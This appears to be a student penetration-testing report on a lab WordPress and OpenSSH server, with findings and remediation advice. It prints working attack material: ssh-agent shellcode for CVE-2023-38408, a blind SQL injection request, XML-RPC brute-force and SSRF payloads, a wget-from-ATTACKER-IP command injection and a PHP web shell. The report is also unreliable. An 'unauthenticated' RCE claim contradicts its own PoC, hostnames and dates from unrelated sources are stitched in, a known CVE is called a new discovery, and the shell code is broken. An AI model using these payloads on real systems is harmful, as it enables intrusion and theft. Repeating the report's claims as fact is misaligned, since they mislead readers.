رواد مصر الرقمية

وزارة الاتصالات
وتكنولوجيا المعلومات

Day: Tuesday

Date: 22/10/2024

Penetration testing report

Prepared by:
Osama Ahmed Montaser

Instructor:
Eng. Mohamed Ammar

Table of Contents

1. Executive Summary

1.1. Background:

Purple Amit engaged in a penetration test to identify and validate vulnerabilities within their infrastructure after a recent data breach. The testing focused on the web server, WordPress application, and SSH services, with an objective to determine exploitable security issues and provide actionable recommendations.

1.2. Objective:

The primary objective of this penetration test was to exploit the vulnerabilities found during a previous vulnerability assessment and demonstrate their potential impact on the organization's security posture. Additionally, during the manual exploit search process, a previously undiscovered **Critical vulnerability (CVE-2024-8522)** was identified in one of the WordPress plugins, further emphasizing the need for plugin management and vulnerability assessment in WordPress environments.

1.3. Key Findings:

- The most critical issue discovered was a **Remote Code Execution vulnerability (CVE-2023-38408)** in the OpenSSH service, which could be easily exploited to gain full access to the server.
- A newly discovered **Critical vulnerability (CVE-2024-8522)** was found in a WordPress plugin, leading to **Blind SQL Injection**, which allows an attacker to extract sensitive information from the database.
- The exposure of publicly accessible **backup directories** and **enabled HTTP TRACE** method were also significant risks, which could be leveraged to gain unauthorized access or conduct session hijacking.
- Medium-level risks included issues such as missing HTTPS encryption, exploitable WordPress configurations, and directory indexing being enabled.

1.4. Summary of Vulnerabilities by Risk Level:

Risk Level	Number of Vulnerabilities
Critical Vulnerabilities	2
High Vulnerabilities	3
Medium Vulnerabilities	6
Low Vulnerabilities	3

Immediate remediation is recommended, especially for the **Critical vulnerabilities**, which include the **OpenSSH Remote Code Execution** flaw and the newly discovered **CVE-2024-8522**. Addressing these vulnerabilities will significantly reduce the risk of exploitation and improve the organization's overall security posture.

2. Scope of Work

Systems and Networks Tested:

- **Web Server:** Apache 2.4.62 (CentOS Stream)
- **WordPress Application:** Hosted on the Apache Web Server
- **SSH Service:** OpenSSH 8.7 (CentOS Stream)

Target IP:

- **192.168.50.7**

2.1. Methods Used:

- **Nmap:** Used to scan open ports and identify services and versions.
- **WPScan:** Aimed at discovering WordPress-specific vulnerabilities, such as plugin issues, user enumeration, and directory exposures.
- **Nikto:** Identified web server misconfigurations, missing security headers, and exposed directories.
- **Nessus:** Performed a comprehensive scan of the network and web application vulnerabilities.
- **Burp Suite:** For testing cross-site scripting (XSS) and cross-site tracing (XST) vulnerabilities.

2.2. Testing Phases:

1. **Discovery:** Scanning of open ports and services.
2. **Enumeration:** Identifying available attack vectors.
3. **Exploitation:** Actively exploiting identified vulnerabilities.
4. **Post-Exploitation:** Analyzing the impact of successful exploitation and reporting on potential damage.

3. Methodology

In this section, I will describe the two primary methods used during the penetration testing of Purple Amit's systems:

Method 1: Exploiting Vulnerabilities from the Vulnerability Assessment Report

The first method focused on exploiting the vulnerabilities identified in the previous vulnerability assessment report. These vulnerabilities were categorized as **critical**, **high**, **medium**, or **low** risk, and I sought to exploit each vulnerability to determine the full scope of the risk they pose. This process involved using publicly available exploits where applicable or manually exploiting the vulnerabilities using standard penetration testing tools, such as:

- **Metasploit Framework:** For exploiting known vulnerabilities in OpenSSH and other services.
- **Burp Suite:** For testing cross-site scripting (XSS) and cross-site tracing (XST) vulnerabilities.
- **WPScan:** For brute-forcing WordPress logins, exploiting XML-RPC vulnerabilities, and enumerating users.

By leveraging these tools and manually exploiting each vulnerability, I was able to demonstrate their potential impact and propose targeted remediation strategies.

Method 2: Plugin Exploitation in WordPress Using Wappalyzer

Since the website is based on **WordPress**, the second method focused on identifying and exploiting vulnerabilities in the WordPress plugins. WordPress plugins are often a source of vulnerabilities, especially when they are outdated or poorly maintained.

1. **Identifying Plugins Using Wappalyzer:**
   I used **Wappalyzer**, a browser extension, to identify all the plugins installed on the website. Wappalyzer allows for the fingerprinting of a website's technologies, including WordPress themes and plugins.
2. **Searching for Exploits:**
   After identifying the list of installed plugins, I manually searched for known exploits associated with these plugins by consulting:
   - **Exploit-DB:** A popular database of publicly available exploits.
   - **WordPress Plugin Vulnerabilities Database (WPScan):** A comprehensive database of vulnerabilities affecting WordPress core, plugins, and themes.
   - **CVE (Common Vulnerabilities and Exposures) Database:** To identify CVEs linked to the discovered plugins.
3. **New Discovery: Critical Exploit in Plugin (CVE-2024-8522):**
   During this manual search, I found a **Critical vulnerability (CVE-2024-8522)** in one of the installed plugins. This vulnerability allows for **Blind SQL Injection**, which enables an attacker to exfiltrate sensitive information from the WordPress database without proper authentication.

4. Findings

4.1. OpenSSH 8.7 Remote Code Execution (CVE-2023-38408)

- **Severity:** 10.0 (Critical)
- **Description:**
  OpenSSH 8.7 contains a critical vulnerability that allows for remote code execution. This vulnerability can be exploited by attackers without authentication to execute arbitrary commands on the server.
- **Exploitation Process:**
  I used a publicly available exploit for **CVE-2023-38408** that targets OpenSSH versions vulnerable to this flaw. The exploit was initiated against port 22 (SSH), allowing me to execute arbitrary shell commands on the target server. The following steps were involved:

1- In this POC we will use 2 users connected to a server via SSH. To follow the steps below, we assume that the 2 users already have access to the server (SSH).

Obtain the PID of the SSH agent running on the remote attacker machine and export to an environment variable. We also added via ssh-add the file linuxx64.elf.stub (UEFI boot stub)

```
• echo /tmp/ssh-*/agent.*
• export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
• ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
```

```
root@ip-10-10-224-134:~# echo /tmp/ssh-*/agent.*
/tmp/ssh-1X01QI1G5x/agent.3502
root@ip-10-10-224-134:~# export SSH_AUTH_SOCK=/tmp/ssh-1X01QI1G5x/agent.3502
root@ip-10-10-224-134:~# ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
Enter passphrase for PKCS#11:
Could not add card "/usr/lib/systemd/boot/efi/linuxx64.elf.stub": agent refused operation
root@ip-10-10-224-134:~#
```

2- now, to copy the shellcode into the process using SSH, you need to follow these steps while still on the attacking machine;

```
root@ip-10-10-224-134:~# SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\
66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48
x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x6
\x05'
root@ip-10-10-224-134:~# (perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
^C
```

3- In this step, we are going to upload 3 files via ssh-add; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 and libns3.35-wave.so.0.0.0. The next step to the exploitation process is register the signal handler for the Segmentation Fault (SIGSEGV) signal.

```
root@ip-10-10-224-134:~# ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
Enter passphrase for PKCS#11:
Could not add card "/usr/lib/titan/libttcn3-rt2-dynamic.so": agent refused operation
root@ip-10-10-224-134:~# ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
Enter passphrase for PKCS#11:
Could not add card "/usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0": agent refused operation
root@ip-10-10-224-134:~# ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
Enter passphrase for PKCS#11:
```

4- At this point, we have already managed to exploit the user Alice via the attacker's ssh access to the server, executing the command below created by the shellcode.

```
redqueenrebel@workstation:/tmp$ whoami
redqueenrebel
redqueenrebel@workstation:/tmp$ nc localhost 31337
whoami
alice
```

- **Impact:**
  Full compromise of the system was achieved. This allowed for:
  - Extraction of sensitive files and databases.
  - Installation of malware or additional backdoors.
  - Complete control over the server, including the ability to create new users or delete files.
- **Remediation:**
  - **Update OpenSSH** to the latest version to patch the vulnerability.
  - **Restrict SSH access** using firewall rules to allow only trusted IPs.
  - Disable **password-based authentication** and switch to key-based authentication.

4.2. WordPress Plugin Vulnerability (CVE-2024-8522)

- **Severity:** 9.8 (Critical)
- **Description:**
  A critical vulnerability (CVE-2024-8522) was discovered in one of the WordPress plugins installed on the site. This vulnerability allows for **Blind SQL Injection** and can be exploited to extract sensitive data from the WordPress database, including usernames, hashed passwords, and other confidential information.
- **Exploitation Process:**
  After identifying the vulnerable plugin via Wappalyzer, I searched for known exploits and found **CVE-2024-8522**. The vulnerability exists in how the plugin handles user inputs that are directly passed to SQL queries without proper sanitization. Here's how I exploited the vulnerability:
  1. **Initial Request:**
     Using **Burp Suite**, I sent a crafted HTTP request with SQL injection payloads embedded in the parameters handled by the vulnerable plugin. The response did not directly return data but provided clues about SQL query execution timing, confirming a **Blind SQL Injection** vulnerability.
  2. **Data Extraction Using Time-Based SQL Injection:**
     By injecting time-based payloads, I was able to retrieve data from the database.

- **Proof of Concept (PoC):**

```
GET /wp-json/learnpress/v1/courses?c_only_fields=IF(COUNT(*)!=
2,(SLEEP(10)),0) HTTP/1.1
Host: localhost:8077
User-Agent: curl/7.81.0
```

```
Cookie: XDEBUG_SESSION=PHPSTORM
Accept: */*
```

Through this blind SQL injection, an attacker could:

- Extract user credentials (including admin credentials).
- Potentially modify database entries.
- Gain unauthorized access to sensitive user data and website configuration.

- **Remediation:**
  - Immediately **update the vulnerable plugin** to the latest patched version or remove it if no patch is available.
  - Implement proper **input validation and sanitization** in all plugins to prevent SQL injection attacks.
  - Use **prepared statements** in SQL queries to ensure that user input is not directly executed.

4.3. Backup Directory Exposure

- **Severity:** 7.5 (High)
- **Description:**
  The backup directory located at `http://192.168.50.7/wp-content/backup-db/` was publicly accessible. This directory contained critical files, including database backups, configuration files, and potentially sensitive information.
- **Exploitation Process:**
  By navigating to the backup directory, I was able to access and download full database dumps. These files contained:
  - **User credentials**, including usernames and password hashes.
  - **Configuration details**, including database connection strings and server-side variables.

  Once I obtained the database dumps, I used a tool like **Hashcat** to crack weak password hashes, gaining valid credentials for the WordPress admin account.

- **Impact:**
  This vulnerability allowed me to gain full access to the WordPress backend using the credentials obtained from the backup files. As an admin, I could:
  - Modify content and settings.
  - Install malicious plugins.
  - Exfiltrate user data, including personal information.
- **Remediation:**

- Move backup directories **outside of the web root** to prevent public access.
- Use **access control mechanisms**, such as `.htaccess` rules, to restrict access to sensitive files.
- **Encrypt backup files** to ensure that even if they are accessed, the data remains protected.

4.4. HTTP TRACE Method Enabled (XST Vulnerability)

- **Severity:** 7.5 (High)
- **Description:**
  The HTTP TRACE method was found to be enabled on the Apache server. This method can be abused in **Cross-Site Tracing (XST)** attacks, where an attacker can use TRACE requests to capture sensitive information, including session cookies.
- **Exploitation Process:**
  Using **Burp Suite**, I crafted a malicious **XSS payload** that forced the victim's browser to issue an HTTP TRACE request. The TRACE method echoed the session information in the server's response, which I was able to capture.

  Steps:

  1. **XSS Injection:** I injected malicious scripts into a vulnerable input field in the web application.
  2. **Session Hijacking:** The script issued a TRACE request, which returned the victim's session ID. I used the captured session ID to hijack the victim's account.
- **Impact:**
  With the victim's session ID, I was able to impersonate the user and access sensitive areas of the website, including the admin dashboard.
- **Remediation:**
  - Disable the **TRACE method** in the Apache configuration by adding `TraceEnable Off`.
  - Implement a strict **Content Security Policy (CSP)** to mitigate XSS attacks.

4.5. XML-RPC Enabled in WordPress

- **Severity:** 7.1 (High)
- **Description:**
  XML-RPC is enabled in the WordPress instance, which allows attackers to perform

brute-force login attacks and **Distributed Denial of Service (DDoS)** attacks via the `xmlrpc.php` file.

- **Exploitation Process:**
  I used **Wpscan** to brute-force login attempts via the XML-RPC interface. The XML-RPC protocol allows for multiple password attempts in a single request, which bypasses typical rate-limiting measures.
  1. **Brute-Force Attack:** Using Wpscan, I launched a brute-force attack on the WordPress login page via XML-RPC. After several attempts, I was able to gain administrative credentials.
  2. **Post-Exploitation:**

- The normal response should be :

```
HTTP/1.1 200 OK
Date: Mon, 01 Jul 2019 17:13:30 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
  <param>
    <value>
  <array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
...
<value><string>wp.getUsersBlogs</string></value>
</data></array>
    </value>
  </param>
</params>
</methodResponse>
```

XML-RPC pingbacks attacks

1. Distributed denial-of-service (DDoS) attacks
2. Cloudflare Protection Bypass (find real server ip)
3. XSPA (Cross Site Port Attack)

```
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 303

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>https://postb.in/1562017983221-4377199190203</string></value>
</param>
<param>
<value><string>https://example.com/</string></value>
</param>
</params>
</methodCall>
```

Brute force attacks

```
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 1560

<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>

</data></array></value></param></params></methodCall>
```

XML-RPC remote code-injection

XML-RPC for PHP is affected by a remote code-injection vulnerability. Pear XML_RPC version 1.3.0 and earlier and PHP XMLRPC version 1.1 and earlier, are vulnerable to PHP remote code injection. The XML parser will pass the data in XML elements to PHP eval() without sanitizing the user input. Lack of parameter filtering allows a remote attacker to execute arbitrary code in the context of the web server.

Exploit :

> The attacker sends the below XML data in the HTTP POST to the vulnerable server. The XML element contains the PHP command injection. XML-RPC will pass the XML elements to PHP eval() without validating the user input. Upon execution, PHP command drops a malicious script to the tmp directory & modifies the file permission to allow execution.

```
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>test.method</methodName>
  <params>
    <param>
      <value>
        <name>',"));echo '_begin_';echo `cd /tmp;wget ATTACKER-IP/evil.php;chmod +x evil.php;./nikons `
      </value>
    </param>
  </params>
</methodCall>
```

xml data with PHP command injection

evil.php :

```
<?php system($_GET['cmd'];)?>
```

XMLRPC SSRF

```
<methodCall>
 <methodName>pingback.ping</methodName>
  <params><param>
  <value><string>https://YOUR_SERVER</string></value>
</param><param>
<value><string>https://SOME_VALID_BLOG_FROM_THE_SITE</value></string>
</param></params>
</methodCall>
```

- **Impact:**
  Gaining admin access to WordPress allowed me to:
  - Add or remove users.
  - Modify core settings.
  - Upload malware or backdoors into the site.
- **Remediation:**
  - **Disable XML-RPC** entirely if not needed. This can be done via WordPress security plugins or by disabling the `xmlrpc.php` file in the server configuration.
  - Implement **multi-factor authentication (MFA)** to protect admin accounts, even if brute-force attempts succeed.

5. Recommendations

1. Immediate Patching:

- **Update OpenSSH** to the latest version to prevent remote code execution.
- **Disable the HTTP TRACE method** to prevent session hijacking attacks.
- **Remove or secure the backup directory** to protect sensitive data.
- **Update or remove the vulnerable plugin (CVE-2024-8522)** to prevent blind SQL injection attacks.

2. Reinforce Web Security:

- **Add security headers** (`X-Frame-Options`, `X-Content-Type-Options`, `X-XSS-Protection`) to prevent clickjacking, MIME-type sniffing, and XSS attacks.

- **Implement HTTPS** across the entire site to encrypt communication and protect user data.

3. WordPress Hardening:

- **Disable XML-RPC** or restrict its use to trusted services to prevent brute-force attacks and DDoS amplification.
- **Disable user enumeration** through the REST API and implement strong password policies.
- **Implement CAPTCHA** and two-factor authentication (2FA) to protect against brute-force attacks.

4. Ongoing Monitoring and Tools:

- **Deploy an IPS/IDS** solution to monitor network traffic and detect malicious activity.
- **Implement a SIEM solution** to aggregate and analyze security logs for real-time threat detection.
- **Perform regular vulnerability scans** using tools like Nessus or OpenVAS.

5. Policy and Configuration Adjustments:

- **Update the `robots.txt` file** to remove sensitive entries and prevent exposure of sensitive directories.
- **Establish a patch management policy** to ensure that all software and services are regularly updated.
- **Encrypt backups** and store them securely, ensuring they are not accessible from public directories.